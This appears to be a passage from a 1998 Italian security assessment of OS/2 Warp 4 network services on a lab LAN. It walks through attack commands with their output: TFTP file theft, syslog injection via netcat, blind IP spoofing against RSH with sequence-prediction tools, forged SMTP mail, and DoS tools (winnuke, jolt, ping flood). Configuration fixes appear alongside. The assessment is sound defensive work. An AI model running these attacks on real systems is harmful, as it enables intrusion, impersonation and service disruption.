Come prevenire allora questo tipo di attacco ? Una risposta grezza ed insuficiente ma di facile implementazione sarebbe quella di creare un programma che analizzi l'output di netstat ad intervalli fissi. Ma il vero neo è sicuramente la mancanza dei wrapper di Venema.
Se avessimo ottenuto la password telnet dal config.sys mediante uno dei modi suddetti, sarebbe facile avere a disposizione il sistema. Va notato però che ogni processo lanciato comparirebbe nell'output del comando PSTAT e addirittura sullo schermo del sistema remoto se fosse un' applicazione PM.

[root@iNVeRNia /root]# telnet ossodue
Trying 100.100.100.1...
Connected to OSSODUE.
Escape character is '^]'.

OS/2 Version 2.4 (ossodue)

Immettere parola d'ordine: .....

4OS2/32 2.5 OS/2 Version is 2.40
Copyright 1988-1994 Rex Conn & JP Software Inc. All Rights Reserved
4OS2 S/N 990024, shareware version, uploaded to /vendors/jpsoft/4os2 at
ftp.std.com. You may try this program for 21 days before registering.

[-c:\]

e voilà come se fossimo alla consolle. Il sistema è realmente alla nostra mercé ...

Rexec

Abbiamo visto come la password per il demone REXEC sia scritta in chiaro nel CONFIG.SYS ... a questo punto è possibile eseguire qualunque comando remotamente su OSSODUE senza preoccuparsi del luogo di partenza dell' attacco.
Eseguendo Rexec da un' altra macchina è possibile specificare comandi remoti basati solo sulla coppia userid/passwd, senza autenticazione basata su cliente. Conviene quindi disabilitare il demone REXEC. Anche perché utente e password sono passati in chiaro, NON CRIPTATI e sono quindi passibili di intercettazione, ancor più mirata per la scarsa sicurezza che REXEC offre.

TFTP

TFTP è invece un discorso a parte. Se non avete terminali stupidi o macchine clienti da caricare mediante questo protocollo, disabilitatelo. Potrebbe essere usato per avere accesso al vostro disco, o nel caso aveste comunque disabilitato l'accesso a TFTP, il demone potrebbe venir subissato di richieste di connessione per saturarne il buffer e creare rallentamenti alla macchina.
TFTP in pratica crea connessioni SENZA NOME UTENTE o PASSWORD, basati solo sul nome del sistema cliente. Questo è rischioso e può portare ad attacchi di spoofing dei pacchetti IP. TFTP oltretutto usa UDP, compromettendo maggiormente la possibilità del sistema di esser difeso. è comunque possibile settare il file TFTPAUTH all'interno del campo apposito in tcpcfg.exe che permette di specificare gli host da cui poter collegarsi, e gli indirizzari con le disposizioni classiche d'accesso (r,rw) .
OSSODUE ha un file TFTPAUTH che mostra:

c:\ rw trusted.remote.net

come al solito è il file hosts che risolve gli indirizzi.
Provando il collegamento otteniamo:

[root@iNVeRNia /root]# tftp
tftp> connect OSSODUE
tftp> trace off
Packet tracing on.
tftp> quit
[root@iNVeRNia /root]# tftp
tftp> connect ossodue
tftp> get config.sys
Received 4953 bytes in 1.6 seconds
tftp> quit

Se me lo dicessero non ci crederei ! Dall' host invernia (100.100.100.2) ho prelevato il CONFIG.SYS via TFTPD che doveva essere accessibile solo a trusted del dominio remote.net con indirizzo 10.10.10.10 !

Le possibilità sono due:

- l'implementzione del file TFTPAUTH non funziona o non serve a nulla
- manca qualche settaggio

Come al solito il syslog non mostra nulla. Ma comunque l'utilizzo di una forma di trasferimento non autenticata e mediante UDP si presta facilmente agli attacchi dalla rete.

Cercando nella "Guida al TCP/IP" trovo che tftpd deve essere lanciato mediante INETD con l'opzione -s. Opzione che tcpcfg.exe NON HA SETTATO nonostante l'esplicita compilazione del file TFTPAUTH; controllate ogni vostro servizio dall'esterno, soprattutto se i sistemi fidati per TFTP e RSH sono nella vostra LAN. Dopo aver ristabilito TFTPD -s proviamo sul campo:

[root@iNVeRNia /root]# tftp
tftp> connect ossodue
tftp> get config.sys
Error code 2: Violazione accesso
tftp> quit
[root@iNVeRNia /root]#

Ora TFTPAUTH funziona perfettamente. Ma i sistemi che ho avuto modo di vedere credevano di esser sicuri con il file TFTPAUTH, mostrando invece il fianco gravemente, per questa semplice distrazione. Tutto a posto quindi ?

Non necessariamente .... è possibile per un Cracker che abbia controllo di un host almeno nella LAN o lungo la strada tra OSSODUE e Trusted, possa inviare pacchetti UDP a OSSODUE richiedendo da parte del sistema 'fidatò il file al demone TFTP per poi prelevare i dati dai pacchetti che OSSODUE invierà a Trusted.
Altro modo, nel caso OSSODUE utilizzi il demone ROUTED (sempre presente in $\tcpip\bin) è quello di inviare comandi RIP (Routing Information Protocol) alla porta 520 di OSSODUE, proclamando che la strada per l'esterno, e quindi anche per Trusted passa per la sua macchina; a questo punto, tutti i dati in uscita da OS/2 sarebbero in mano al cliente maligno.
Usare tabelle di instradamento fisse senza ROUTED può evitare questo problema.

Demoni UDP

Questa 'mancanzà di UDP viene utilizzata dagli attaccanti per forzare anche il PORTMAPPER, il SYSLOGD e TALKD.
Il primo permette di avere accesso a programmi che servano remotamente risorse locali usando le RPC. Tra i servizi più famosi abbiamo NFS e NIS che non sono testati in questa sede per la mancanza contingente dei server.
é possibile inserire messaggi nel syslog remotamente collegandosi in UDP alla porta 514. Questo può creare interessanti scherzi, ma anche servire per confondere l'amministratore di OSSODUE in occasione di attacchi sofisticati:

[root@iNVeRNia netcat]# ifconfig eth0:0 10.10.10.10
[root@iNVeRNia netcat]# ./nc -vv -w5 -s 10.10.10.10 -u ossodue 514
10.10.10.10: inverse host lookup failed: Host name lookup failure :
Connection refused
NoCTuRNa.losteden.net [100.100.100.1] 514 (syslog) open
<1>ALLARME CRACKER !!!
sent 22, rcvd 0

Ecco cosa mostra il file debug.log scritto da SYSLOGD:

Jan 7 01:42:02 trusted.remote.net ALLARME CRACKER !!!

Per quanto riguarda TALKD, la possibilità di creare messaggi di richiesta di connessione da host spoofati può aprire interessanti esempi di cosiddetta 'ingegneria socialé laddove l'attaccante potrebbe mascherarsi da amministratore di sistema di un host fidato, prima con tentativi di TALK mediante UDP spoofing al demone, e poi con messaggi di posta elettronica 'faké .... questo senza menzionare la possibilità di 'sommergeré il demone sotto una marea di richieste da host inesistenti o mascherati.

RSH

Altro servizio relativamente utile è il demone RSH. Questo permette ad utenti (specifici) di host specifici di avviare comandi remoti senza loggarsi direttamente al sistema. L'anello debole della catena si trova nel tipo di autenticazione come per gli altri servizi osservati. Basa il controllo su di un file, RHOSTS, presente in etc di sistema. Questo file ha il formato:
host user
o
host

Nel caso di OSSODUE:

trusted.remote.net invy

Ad ogni modo questo tipo di autenticazione è abbastanza debole in quanto abbiamo visto come la modificazione dei file in c:\ possa essere operata mediante i servizi più normali e diffusi, se mal configurati. Basterebbe aggiungere altre linee per altri host e voilà .
Se anche il file fosse protetto, questo non basterebbe a difendersi dallo spoofing, a meno che il router o un firewall sia configurato in modo da ignorare pacchetti con IP 'interni' alla LAN ma provenienti dall 'esterno'.
Vediamo quindi un primo esempio di spoofing. Altri esempi e considerazioni saranno fatti più avanti. Per una disquisizione leggermente più tecnica vedi (13).
Un attaccante invia pacchetti con sorgente trusted.remote.net che sa essere uguale a 10.10.10.10 (questo NON è un segreto). OSSODUE riceve i pacchetti e invia una risposta al vero trusted.remote.net . Il Cracker deve ora indovinare la richiesta di OSSODUE e rispondere come farebbe trusted.remote.net. Questo implica che Trusted non possa o non risponda del tutto (off-line ad esempio, o sotto attacco dello stesso Cracker).
Il lato Cracker-OSSODUE verrà mostrato dal punto di vista del Cracker e corredato di un tabulato di tcpdump, che 'spià i pacchetti trasmessi nella rete. Prima di tutto bisogna scoprire le modalità di risposta di OSSODUE:br>

[root@iNVeRNia phun]# ./SEQ-scanth -t ossodue -p 111 -v
Verbose mode on...
*** 64K rule checking
SEQ. difference: 102400
SEQ. difference: 64000
SEQ. difference: 89600
SEQ. difference: 76800
SEQ. difference: 76800
SEQ. difference: 64000
SEQ. difference: 76800
SEQ. difference: 76800
SEQ. difference: 64000
ossodue vulnerable! (64K rule)

AHIMé .... purtroppo OS/2 si comporta al riguardo come sistemi un pò piùvecchiotti. Al pari anche di NT, OS/2 non usa numeri di sequenza casuali, ma bensì vengono incrementati di 64000 ogni secondo ed ogni nuova connessione.
Proviamo ora a tentare una connessione verso il demone RSH chiedendo di attivare il comando cp "c:\config.sys c:\tmp\config.sys".
Prepariamo un file di dati con codici di escape "\" e lo inviamo alla porta 514 spacciandoci per trusted.remote.net (al momento off-line):

[root@iNVeRNia phun]# ./eriuth -s 10.10.10.10:547 -t 100.100.100.1:514 -f
rsh -p 111
Eriu -- Version 0.1
Checking permissions... OK
Opening command file... OK
Determining local IP adress... iNVeRNia.losteden.net
Trying to determine if Target System is 64K ruler...
Probing Target System... OK
Probing Target system for attack... OK
SYN packet fired...
Guessed ACK: 109A10AC
Sending guessed ACK's... DONE
Connection hopefully established...
Executing command file...
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (ACK)... DONE
Cleaning up (RST)...

All'inizio ci colleghiamo alla porta 111 per avere un'idea dei SN di OSSODUE:

03:46:22.040475 iNVeRNia.losteden.net.6735 > NoCTuRNa.losteden.net.sunrpc:S 1046869606:1046869606(0) win 31744
03:46:22.230475 NoCTuRNa.losteden.net.sunrpc > iNVeRNia.losteden.net.6735:S 286323201:286323201(0) ack 1046869607 win 28672
03:46:22.230475 iNVeRNia.losteden.net.6735 > NoCTuRNa.losteden.net.sunrpc:R 1046869607:1046869607(0) win 0
03:46:22.230475 iNVeRNia.losteden.net.6804 > NoCTuRNa.losteden.net.sunrpc:S 1046869675:1046869675(0) win 31744
..........

dopodiché calcoliamo il possibile ACK e ne spediamo un numero sufficiente a coprire un intervallo il più ampio possibile:

03:46:23.720475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: S 574547558:5745
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: . ack 64001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 128001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 192001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 256001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 320001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 384001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 448001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 512001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 576001 win
03:46:24.740475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell:. ack 640001 win
.........

A questo punto inviamo i nostri dati:

03:55:04.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 0:24(24)
ack 1 win 31744
03:55:05.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 24:40(16)
ack 1 win 31744
03:55:06.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 40:63(23)
ack 1 win 31744
03:55:07.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 63:68(5)
ack 1 win 31744
03:55:08.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 68:82(14)
ack 1 win 31744
03:55:09.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 82:84(2)
ack 1 win 31744
03:55:10.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: P 84:89(5)
ack 1 win 31744
03:55:11.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: . ack 1 win
3174403:55:12.100475 10.10.10.10.547 > NoCTuRNa.losteden.net.shell: R
574547648:574547648(0) win 31744

Questo tipo di attacco ha un chiaro difetto: crea una tempesta di ACK che può essere facilmete rilevata mediante monitoraggio dei pacchetti IP nella LAN. Può essere poi facilmente contrastato filtrando a livello di router per pacchetti dubbi (IP est./int.) oppure implementando la randomizzazione dei SN. Cosa che purtroppo OS/2 non può fare di default, almeno nella versione 4 'purà .

Penguin FTPD

Lasciamo perdere momentaneamente lo spoofing per parlare di un altro famoso FTP server: il Penguin FTPD. Shareware, comunissimo su InterNet, molto snello.
Questo server ha delle sostanziali differenze con quello offerto dalla IBM all'interno di OS/2. Prima di tutto, si maschera come un classico FTPD unix. Ovvero mostra la struttura delle directory secondo il formato /dir/ invece del classico $:\dir\ utilizzato dal DOS in poi sui sistemi monoutente.
Questo permette di poter inserire nell'ambiente FTP anche altri dischi di sistema oltre al C:, cosa che invece nel server della IBM non è intuitiva, ma va specificata dal cliente con comandi 'ibridi' come cd D: . Invece il PenguinFTPD può presentare il disco come /c , /d e via andando, con una struttura coerente con i server FTP di mezzo mondo (cosa molto utile per clienti che usino accessi FTP automatici mediante script).
Caratteristica invece del tutto nuova è la possibilità di specificare la radice per ogni utente, ovvero la directory da cui 'farlo partiré, indipendentemente dalle directory cui ha accesso. In questo riesce meglio di FTPD.exe in quanto non rivela la directory in cui l'utente è stato confinato, riferendosi sempre come a / e non a c:\tmp ad esempio:

FTPD
230 Collegamento visitatore ok, applicate le restrizioni di accesso.
Remote system type is Sistema.
ftp> pwd
257 Indirizzario corrente: C:/tmp.
ftp> ls
200 Comando PORT riuscito.
150 Apertura in modo ASCII connessione dati per C:\tmp.
0 DIR 01-06-98 01:08 pcsec
0 DIR 01-06-98 15:31 syslogd
226 Trasferimento completato.

PenguinFTPD
230 User anonymous logged in.
Remote system type is UNIX.
ftp> pwd
257 "/" is the current directory.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection
drw---- 0 0 0 0 Jan 6 01:08 pcsec
drw---- 0 0 0 0 Jan 6 15:31 syslogd
226 Transfer complete.

In questo ambito a IBM va il plauso di aver rispettato la tabella di marcia seguita da unix in quasi 10 anni: a differenza delle prime versioni di WindowsNT, OS/2 non ha avuto problemi di ambienti 'bucati', ovvero non è possibile uscire da un confinamento. Questo è un problema evidente nelle condivisioni SMB, in aree FTP e WWW sotto Windows NT.
Non così in OS/2, dove l'utente non riesce a sfuggire con semplici cd.. dall'area assegnatagli.

Entrambi i server però possono operare in modalità passiva, obbedendo al comando "quote pasv", permettendo ad eventuali attaccanti una serie di tentativi atti a modificare i dati trasferiti o comunque ad intercettarli.
Questo semplicemente indovinando la porta passiva del demone ed inviando comandi FTP in rapida successione per 'scavalcaré il cliente autentico. Per non parlare degli attacchi di rimbalzo, nel caso ci fosse una directory scrivibile. Non dimentichiamo infatti che sotto OS/2 ed i demoni provati NON è possibile senza programmi accessori la specifica di un ambiente a SOLA SCRITTURA. Qualcuno potrebbe chiedersi a cosa possa servire; semplicemente ad evitare di avere un sito pirata in incognito, ad esempio, oppure ad scongiurare gli attacchi di rimbalzo che possono facilmente saltare firewall e filtri di pacchetto se comunemnte configurati con tunnel per FTP.
Immaginate di aprire una connessione con OSSODUE, FTP aperto in una LAN protetta; inviamo un file che contiene comandi da inviare alla porte di macchine al di là del firewall; specifichiamo una porta di ricezione diversa dalla nostra macchina attaccante, ed uguale al sistema vittima, e recuperiamo quel file. Se non fosse leggibile, non funzionerebbe. Ma lo é, e automaticamente OSSODUE invia quei comandi dalla SUA porta 20 alla porta specificata da noi su di una macchina protetta. Sul syslog remoto, appariranno connessioni da parte di OSSODUE, praticamente non imputabili a noi, per mancanza di log appropriati. Chiudete quindi l'accesso in scrittura ad account anonimi ed usate una politica di password limitate nel tempo, QUANTO MENO.

IP Spoofing e HiJacking

Una breve discussione teorica prima di provare qualche altro attacco, oltre al classico contro i servizi R (RSH, RLOGIN).

TRUSTED X----------> OSSODUE
CRACKER _________|

Questo diagramma mostra l'intento di C di farsi passare per T agli occhi di OSSODUE. Ovviamente Cracker dovrà bloccare, interrompere, comunque assicurarsi che T non possa interferire con il suo attacco (X). Le connessioni TCP avvengono dopo un handshake a tre vie:

A ----------SYN----------> B
A <-------SYN,ACK--------- B
A ----------ACK----------> B

Quindi CRACKER invierà il suo SYN a OSSODUE, spacciandosi per Trusted. A questo punto OSSODUE risponderà con il proprio SYN, riconoscendo con un ACK il SYN di Trusted (CRACKER), inviandolo però al vero Trusted ! (questo in fede all'indirizzo IP) Questo passaggio è completamente INVISIBILE agli occhi di CRACKER; per questo si parla comunemente di spoofing cieco.
Se Trusted vedesse questo pacchetto mandato da OSSODUE risponderebbe con un RST, abortendo la connessione. Quindi Trusted deve essere off-line, in reboot, o completamente inabile alla risposta perché impegnato in un attacco con CRACKER che possa tempestarlo di richieste di connessione fasulle. Quello che l'attaccante deve fare è quindi indovinare il numero di sequenza di OSSODUE per riconoscerlo con l' ACK adeguato. Dopodiché potrà inviare tutti i suoi dati, non curandosi di non vederne il risultato. Questo sempre perché i dati verranno inviati in risposta da OSSODUE al vero Trusted, dopo essere stati però eseguiti.
Indovinare il numero non è affatto facile. Spesso ormai i moderni sistemi usano una randomizzazione dei numeri di sequenza, per evitare che siano indovinabili facilmente dopo aver sondato varie connessioni. Una volta invece, i sistemi seguivano la regola dei 64.000, ovvero aumentavano questo numero di un valore fisso ogni secondo e ogni nuova connessione ricevuta. Quello iniziale dopo il boot era di solito 0. Così facendo bastava sondare dieci numeri di sequenza per predire abbastanza facilmente i seguenti in un range di 20, 25 possibili valori, considerando anche i rallentamenti dei pacchetti in rete.

MA ORA BASTA USARE L'IMPERFETTO. Purtroppo OS/2 segue ANCORA la regola dei 64.000 (anche NT) e quindi risulta quasi triviale per un attaccante con le conoscenze e gli strumenti adeguati, impersonificare un host remoto ed eseguire comandi sul nostro server. Certo il filtro dei pacchettia livello del router può aiutare. Ma se CRACKER impersonificasse la NASA ? Non ci sarebbe bisogno di filtrare la NASA al router, vero ? Questo tipo di connessioni non servirebbe per i servizi R che spesso usano altri host nella nostra LAN, ma potrebbe servire per attaccare i router e le tabelle di instradamento, oppure per trasferire file FTP su altre macchine compromesse, per colegarsi in telnet (anche se alla cieca) per eseguire comandi.
E se invece i pacchetti di ritorno da OSSODUE fosser visibili ? Questo aspetto cambia le cose rendendo vedente uno spoofing che prima era cieco. A questo punto CRACKER potrebbe benissimo riconoscere con ACK i SYN di OSSODUE .... addirittura potrebbe ricevere i dati richiesti ! Questo avviene quando l'attacco proviene da un host nella stessa LAN, o sulla rotta tra OSSODUE e Trusted, che sia una rotta legale, o modificata corrompendo le tabelle di instradamento di OSSODUE. Un particolare esempio di spoofing vedente è sicuramente l' HIJACKING, ovvero la 'presà di una connessione in atto.

TRUSTED <---------X-----------> OSSODUE
CRACKER <---------| |
|-------------(T)---------------|

In questo caso, vedendo i pacchetti trasmessi da entrambi i sistemi, CRACKER potrà desincronizzare la connessione di Trusted e OSSODUE, inviando, 'per contò di Trusted un prossimo RST ed un nuovo SYN prima di lui. OSSODUE accetterà il nuovo SYN ed invierà un nuovo SYN/ACK. Così Trusted rimarrà desincronizzato (al primo SYN/ACK) ed OSSODUE continuerà a mandare i dati al vero Trusted, ma con gli ACK impostati da CRACKER, che potrà quindi incamerare tutti i pacchetti, dando anche comandi come ad esempio, cambiando il file RHOSTS per eseguire senza tanti problemi future connessioni.

SendMail

Questo demone attende alla porta 25, e riceve, smista ed invia i messaggi di posta elettronica che tanto felicemente leggiamo con PMMail ;) Una semplice connessione mostra:

[root@iNVeRNia netcat]# ./nc -vv -w5 ossodue 25
OSSODUE [100.100.100.1] 25 (smtp) open
220-ossodue Sendmail IBM OS/2 SENDMAIL VERSION 2.0/2.12um
ready at Wed, 7 Jan 1998 13:20:21 -0500
220 ESMTP spoken here

Questo particolare ovviamente mostra subito la natura ossistica del sistema. Intelligentemente l'IBM SENDMAIL implementa i comandi in maniera adeguata. Ad esempio:

help
502 HELP not implemented
vrfy admin
250 IBM OS/2 SENDMAIL VERSION 2.0
expn root
250 IBM OS/2 SENDMAIL VERSION 2.0

Non fornisce HELP in linea (giustamente dal momento che questo demone dovrebbe conferire in massima parte con applicazioni clienti, e se con persone, abbastanza istruite in materia). VRFY e EXPN, spesso usati per fini indagativi per scoprire validi nomi utente, sono mascherati eccellentemente di default. Non è in questa sede che saggeremo la possibilità di overflow remoti. (certo sarebbe piacevole avere il codice sorgente del TCP/IP implementato da IBM per OS/2), ma possiamo testare facilmente il rispetto degli RFC (Request For Comments) di questo demone.
Proviamo quindi ad inviare un messaggio fake nel modo più ovvio:

[root@iNVeRNia netcat]# ./nc -vv -w5 ossodue 25
OSSODUE [100.100.100.1] 25 (smtp) open
220-ossodue Sendmail IBM OS/2 SENDMAIL VERSION 2.0/2.12um
ready at Wed, 7 Jan 1998 13:26:25 -0500
220 ESMTP spoken here
helo www.microsoft.com
250 ossodue Hello invernia, pleased to meet you
mail from: bgates@microsoft.com
250 bgates@microsoft.com... Sender ok
rcpt to: root@invernia
250 root@invernia... Recipient ok
data
354 Immettere testo, terminare immissione con "." su una riga vuota
Ok Ok, anche io uso OS/2 !
.
250 NAA001.06 Message accepted for delivery
quit
221 nocturna.losteden.net closing connection

Questo è il messaggio ricevuto:

Return-Path:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
From: bgates@microsoft.com
Received: from www.microsoft.com by OSSODUE (IBM OS/2 SENDMAIL VERSION 2.0/2.12um) id NAA001.06; Wed, 7 Jan 1998 13:26:59 -0500
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Date: Wed, 7 Jan 1998 13:26:25 -0500
Message-Id: <199801071826.NAA001.06@ossodue>
Apparently-To: root@iNVeRNia.losteden.net

Ok Ok, anche io uso OS/2 !

Se consideriamo che Apparently-To è stato per inserito per non aver specificato bene il destinatario, scopriamo che NULLA ci fa capire che in realtà la mail sia una .... balla. Questo apre interessanti prospettive a tutti coloro che vogliano mandare insulti per la rete, semplicemente a molti sistemi dei vari ibm.net, .it, .com che usino OS/2. Questo non dovrebbe accadere ormai nei demoni SENDMAIL da quasi 5 anni :O
Soprattutto strano il fatto che da anni, il demone SENDMAIL di Aix, Unix di casa IBM, NON mostri questo problema. Andando a spulciare nei file di configurazione di IBM SENDMAIL/2 troviamo:

$MPTN\ETC\SENDMAIL.CF

HReceived: $?from $s $.by $j ($v/$Z) id $i; $b

Senza entrare nel merito della configurazione di sendmail (14), quello che bisogna aggiungere é: $?_($?s$|from $.$_) $. per leggere

HReceived: $?from $s $. $?_($?s$|from $.$_) $.by $j ($v/$Z) id $i; $b

Dopo la modifica ecco la stessa mail:

Return-Path:
From: bgates@microsoft.com
Received: from www.microsoft.com (invy@localhost) by ossodue
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
(IBM OS/2 SENDMAIL VERSION 2.0/2.12um) id NAA000.79; Wed, 7 Jan 1998
13:57:43 -0500
Date: Wed, 7 Jan 1998 13:57:29 -0500
Message-Id: <199801071857.NAA000.79@nocturna.losteden.net>
Apparently-To: root@iNVeRNia.losteden.net

Anche io uso OS/2 !!!

Hmmm. Il risultato avrebbe dovuto essere, secondo la comune configurazione sendmail: from www.microsoft.com (root@invernia [100.100.100.2]), ovvero il nome utente prelevato dalla risposta del cliente remoto alla porta AUTH ovvero il demone IDENT che fornisce informazioni sull'utente che ha aperto il socket ed il nome host reale ottenuto con risoluzione DNS dell' IP cliente.

La risposta di OS/2 è errata in quanto l'indirizzo IP 100.100.100.2 è mappato come invernia.losteden.net nel file $mptn\etc\hosts ed il nome utente è stato prelevato dal demone IDENT locale e non remoto (ma forse a causa della risoluzione a localhost).
Questo non è necessariamente un errore. Purtroppo non è possibile ottenere i sorgenti. Sicuramente però IBM SENDMAIL non onora la configurazione standard di SENDMAIL 8 ..... e questo può essere un problema.
Mancano fortunatamente, invece, i vecchi comandi non più implementati DEBUG, e WIZ (WIZARD) che venivano usati per avere accesso ai sistemi:

220 ESMTP spoken here
debug
500 Command unrecognized
wiz
500 Command unrecognized
wizard
500 Command unrecognized

Dopo aver mappato in HOSTS anche altri sistemi remoti, ho provato a spoofare verso la porta 25 per ottenere fake mail .... i tentativi sono riusciti con una percentuale di quasi il 50%. Riusciti nel senso che OSSODUE ha accettato l'ACK e i dati inviati. Comunque nel caso specifico di questa macchina il demone SENDMAIL non richiede spoofing per una fake mail, ma ovviamente questo può dimostrare che eventuali altri demoni, perfezionati o meno, per gestire la posta su OS/2, potrebbero soffrire dello stesso problema.

Denial Of Service (DOS)

Questo è forse il più banale attacco dal punto di vista di un Cracker, ma proprio per questo è sicuramente il più usato dai wanna-be che popolano i siti warez e gli ambienti IRC più 'in' .
Sono particolari attacchi nei confronti dei demoni e dei sottosistemi TCP/IP in grado di inchiodare, rallentare, crashare un demone se non tutta la macchina.
Questo può essere altamente rischioso per macchine che devono rimanere funzionanti anche per molto tempo senza manutenzione o controllo locale.
Questo microcosmo di attacchi più o meno simili è popolato forse dai nomi più pittoreschi dell' underground. Attacchi come il winNuke, lo Smurf, Jolt, PingOfDeath sono solo i capostipiti di una teoria in crescita che prende il suo via dai semplici 'scherzetti' in ambiente universitario multiutente ;)
Attacchi contro i servizi diagnostici come echo, chargen e discard non sono possibili per un semplice motivo. Con un installazione standard OS/2 NON prevede l'apertura di queste porte .... non sarà quindi possibile connettere queste porte tra loro per ridurre la banda del sistema.
Un primo approccio consiste nel collegarsi alle porte 21, 23 e 25, mentre un port scanner macina il sistema e lo sondiamo anche alla ricerca di comuni misconfigurazioni. In questo frangente OS/2 si comporta in maniera ottima. La scansione porte TCP e UDP è veloce, le connessioni a FTPD e PFTPD sono rapide. SENDMAIL risponde prontamente. Solo la connessione in TELNET sembra risentirne, ma il problema è più di telnetd.exe in sé, visto che i tempi di risposta non sono eccelsi anche se attivo da solo.
Dopodiché passiamo a testare i vari 'tool maligni' :)
Il primo è WINNUKE ... in grado di inchiodare in una frazione di secondo ogni macchina Win95 e MacOS non patchata. In due parole, si tratta di aprire una connessione TCP con la vittima e lancira un pacchetto marcato come prioritario sui dati precedenti. Solo che il pacchetto in questione e quelli precedenti sono VUOTI. Risultato: crash del sottosistema TCP/IP.
La porta obiettivo è la 139.

[root@iNVeRNia phun]# ./winnuke ossodue
Connected to [ossodue:139].
Sending crash... Done!

Ebbene, NON HA EFFETTO. OS/2 non ne ha risentito minimamente. Non solo la macchina continua il suo CHKDSK in tranquillità , ma nessuno degli altri demoni è 'morto'.
Passiamo a Jolt. Questo crea un pacchetto di dimensioni eccessive e lo lancia contro OSSODUE come ICMP echo request, cioé come un PING. Lo stesso dicasi per il PingOfDeath:

[root@iNVeRNia phun]# ./jolt ossodue 10.10.10.10
Sending to 100.100.100.1
Sending to 100.100.100.1
Sending to 100.100.100.1
Sending to 100.100.100.1
Sending to 100.100.100.1

NADA COMO EL OS/2 ! :)
Neanche questo tipo di attacco ha effetto. Sembrerebbe che dal punto di vista del TCP/IP di basso livello, IBM abbia fatto un buon lavoro. Questi programmini di poche righe di codice sono in grado di piegare la maggioranza di tutte le macchine usate dai privati in dial-up su InterNet, senza contare quelle usate nei vari InterNet Café ;)))
Smurf è sicuramente un vero diavolo. In pratica l'attaccante (in questo caso una vera noia) crea un pacchetto di richiesta PING da parte della vittima e lo invia a svariati indirizzi di broadcast !!!! Per chi ancora non si è sentito male, basti spiegare che questo vuol dire centinaia e centinaia di pacchetti di ritorno contro la vittima. Nella LAN losteden.net purtroppo non ci sono molte macchine, quindi l'effetto non può essere adeguato. Ad ogni modo ho provato a mimare lo Smurf dando l'altrettanto tremendo (su una LAN) comando:

[root@iNVeRNia phun]# ping -f ossodue -s 65000
PING OSSODUE.losteden.net (100.100.100.1): 65000 data bytes
...............................................................................
...............................................................................
...............................................................................
...............................................................................
...............................................................................
...............................................................................
..................................................
--- OSSODUE.losteden.net ping statistics ---
525 packets transmitted, 0 packets received, 100% packet loss

Durante questa marea di ICMP (Internet Control Messaging Protocol) il sistema è risultato INUTILIZZABILE, ovvero ogni sessione è stata congelata fino al Ctrl-C del PING. Anche l'orologio ha ripreso qualche secondo dopo la fine della marea. Ogni applicazione ha ripreso il suo normale corso operativo.
D'altronde questo tipo di attacco risulta altrettanto efficace su molti altri sistemi. Una possibile soluzione è quella di filtrare i pacchetti ICMP a livello di router o di inserire un filtro sulla propria macchina, in modo da bloccare ogni tentativo di questo tipo. Ovviamente la soluzione non è ottimale, in quanto i messaggi ICMP vengono giustamente usati anche per altre serie di applicativi.

Sembra quindi che il largo numero di utility in grado di piegare remotamente Windows, non abbia effetti evidenti su OS/2 WARP 4. Dal punto di vista della solidità infatti, il sottosistema TCP/IP è decisamente migliore. Così come migliore è la dotazione di clienti e server praticamente regalati con il sistema. Certo alcuni hanno comportamenti bizzarri od insicuri se non configurati, ma non è richiesto nulla che non sia spiegato nella guide in linea.

Conclusioni

Questo è stato un primo tentativo di valutare e testare le configurazioni STANDARD di OS/2 in rapporto alle connessioni REMOTE. Non sono state menzionate molte situazioni LOCALI che possono compromettere il sistema, presenti su OS/2 come su ogni altro sistema operativo. Certo pero', che la possibilità di dare il comando SET in una finestra OS/2 e vedere in chiaro password e settaggi di rete, non è proprio ciò che verrebbe definito come sicuro. Ma piccole accortezze possono rendere il server InterNet relativamente affidabile e protetto.
Per ogni commento, o richiesta di ampliamento di questo documento potete reperirmi su invy@jetai.unipv.it. Per favore non chiedete come approfondire l'aspetto delle intrusioni o come compromettere OS/2. Sono invece auspicate indicazioni su altri problemi, soluzioni o demoni di terze parti.

Note

(1) Building InterNet FireWalls, 1995, ISBN 1-565592-124-0
(2) omaggio a G.Bocca ed alla sua polemica sul gergo esterofilo in Italia
(3) le navi dei Borg sono state a loro volta assimilate dai GPF di Windows
(4) Cracker inteso come hacker del lato oscuro, o come il peggior tipo della nuova scuola di hackeraggio, in contrapposizione alla vecchia, decantata da Levy.
(5) in senso tecno-informatico-cognitivo, non in senso anagrafico. (Purtroppo per molti amministratori di sistemi )
(6) Dan Farmer e Wietse Venema
